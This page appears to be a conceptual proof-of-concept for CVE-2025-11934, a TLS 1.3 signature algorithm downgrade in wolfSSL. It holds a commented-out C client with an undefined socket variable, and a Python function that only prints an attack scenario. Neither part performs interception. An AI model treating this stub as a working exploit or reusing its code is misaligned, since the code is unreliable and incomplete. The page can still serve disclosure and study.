CVE-2025-11934

// CVE-2025-11934 PoC - TLS Signature Algorithm Downgrade // This PoC demonstrates the signature algorithm downgrade vulnerability in wolfSSL // Note: This is a conceptual PoC. Actual exploitation requires MITM capability. /* #include <wolfssl/options.h> #include <wolfssl/ssl.h> int test_signature_algo_downgrade() { WOLFSSL_CTX* ctx; WOLFSSL* ssl; int ret; // Initialize wolfSSL wolfSSL_Init(); // Create context with vulnerable version ctx = wolfSSL_CTX_new(wolfSSLv23_client_method()); if (ctx == NULL) { printf("Failed to create context\n"); return -1; } // Load trusted certificates ret = wolfSSL_CTX_load_verify_locations(ctx, "ca.crt", NULL); if (ret != SSL_SUCCESS) { printf("Failed to load CA certificate\n"); return -1; } // Create SSL object ssl = wolfSSL_new(ctx); if (ssl == NULL) { printf("Failed to create SSL object\n"); return -1; } // Set connection to vulnerable server wolfSSL_set_fd(ssl, sockfd); // Connect - vulnerability occurs during handshake // Server may downgrade from P521 to P256 ret = wolfSSL_connect(ssl); if (ret != SSL_SUCCESS) { printf("SSL connection failed\n"); return -1; } // Check negotiated signature algorithm int sig_algo = wolfSSL_get1_sigalgo(ssl); printf("Negotiated signature algorithm: %d\n", sig_algo); // Cleanup wolfSSL_free(ssl); wolfSSL_CTX_free(ctx); wolfSSL_Cleanup(); return 0; } */ # Python PoC using scapy to intercept and modify TLS handshake from scapy.all import * from scapy.layers.tls.all import * def cve_2025_11934_poc(): """ CVE-2025-11934: TLS 1.3 Signature Algorithm Downgrade This PoC demonstrates the vulnerability where a MITM attacker can cause the server to use a weaker signature algorithm than what the client originally requested. Prerequisites: - Ability to intercept network traffic (MITM position) - Target server running vulnerable wolfSSL version """ print("CVE-2025-11934 PoC - TLS Signature Algorithm Downgrade") print("=" * 60) print("Vulnerability: wolfSSL does not properly validate signature") print("algorithm selection in TLS 1.3 CertificateVerify") print() print("Attack scenario:") print("1. Client sends supported_signature_algorithms with P521") print("2. Attacker intercepts and modifies the handshake") print("3. Server responds accepting P256 instead of P521") print("4. Connection continues with weaker P256 algorithm") print() print("Note: This vulnerability has CVSS 2.7 (LOW) severity") print("Direct exploitation is limited but violates security guarantees") return None if __name__ == "__main__": cve_2025_11934_poc()

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